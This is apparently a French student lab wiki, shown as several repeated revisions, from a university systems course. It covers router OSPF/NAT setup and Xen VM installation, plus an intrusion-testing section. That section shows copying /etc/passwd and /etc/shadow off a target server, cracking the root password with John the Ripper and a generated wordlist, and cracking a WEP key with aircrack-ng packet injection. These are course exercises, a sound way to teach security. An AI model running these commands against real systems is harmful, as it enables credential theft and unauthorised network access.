On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-16T14:53:53Z

Egury : /* 4.2 Serveur DNS (02/11/2020) */

TP sysres IMA5sc 2020/2021 G1

2020-11-16T14:52:47Z

Egury : /* 4.2 Serveur DNS (02/11/2020) */

TP sysres IMA5sc 2020/2021 G1

2020-11-16T11:22:58Z

Egury : /* 4.2 Serveur DNS (02/11/2020) */

TP sysres IMA5sc 2020/2021 G1

2020-11-16T11:13:39Z

Egury : /* 4.2 Serveur DNS (02/11/2020) */

TP sysres IMA5sc 2020/2021 G1

2020-11-16T11:12:23Z

Egury : /* 4.2 Serveur DNS (02/11/2020) */

TP sysres IMA5sc 2020/2021 G1

2020-11-03T08:07:40Z

Egury : /* Tests d’intrusion */

TP sysres IMA5sc 2020/2021 G1

2020-11-01T12:12:44Z

Egury : /* Services Internet */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
--------------------
Hostname : trompettedelamort
Distribution : buster
IP (non routée) : 100.64.0.17
IP (natée) : 193.48.57.176
Netmask : 255.255.255.240
Gateway : 100.64.0.5
IP Routeur1 : 100.64.0.5
IP Routeur1 : 100.64.0.6
IP commune routeurs : 100.64.0.7
VLAN : 316

=Architecture réseau=

==Architecture générale==
Réalisé par le groupe 4 et 14.

==Les réseaux virtuels==
Réalisé par le groupe 14... merci Guillaume

==Interconnexion avec Internet (IPv4)==

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages.

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.1 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un '''ping''' vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

=Installation de la machine virtuelle=

* Création de la machine virtuelle

ssh capbreton.plil.info
xen-create-image...

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

** On riquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage

* Modification du fichier de config de la VM: /etc/xen/trompettedelamort.cfg
vif = ['bridge=IMA5sc, ip=100.64.0.16, ...']

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

==Services Internet==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accés à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

=Tests d’intrusion=

==Cassage de clef WEP d’un point d’accès WiFi==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==Réalisations==

TP sysres IMA5sc 2020/2021 G1

2020-10-31T13:32:30Z

Egury : a

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
--------------------
Hostname : trompettedelamort
Distribution : buster
IP (non routée) : 100.64.0.17
IP (natée) : 193.48.57.176
Netmask : 255.255.255.240
Gateway : 100.64.0.5
IP Routeur1 : 100.64.0.5
IP Routeur1 : 100.64.0.6
IP commune routeurs : 100.64.0.7
VLAN : 316

=Architecture réseau=

==Architecture générale==
Réalisé par le groupe 4 et 14.

==Les réseaux virtuels==
Réalisé par le groupe 14... merci Guillaume

==Interconnexion avec Internet (IPv4)==

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages.

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.1 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un '''ping''' vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

=Installation de la machine virtuelle=

* Création de la machine virtuelle

ssh capbreton.plil.info
xen-create-image...

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

** On riquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage

* Modification du fichier de config de la VM: /etc/xen/trompettedelamort.cfg
vif = ['bridge=IMA5sc, ip=100.64.0.16, ...']

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

==Services Internet==
=Tests d’intrusion=

==Cassage de clef WEP d’un point d’accès WiFi==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==Réalisations==

TP sysres IMA5sc 2020/2021 G1

2020-10-31T12:59:28Z

Egury : /* Installation de la machine virtuelle */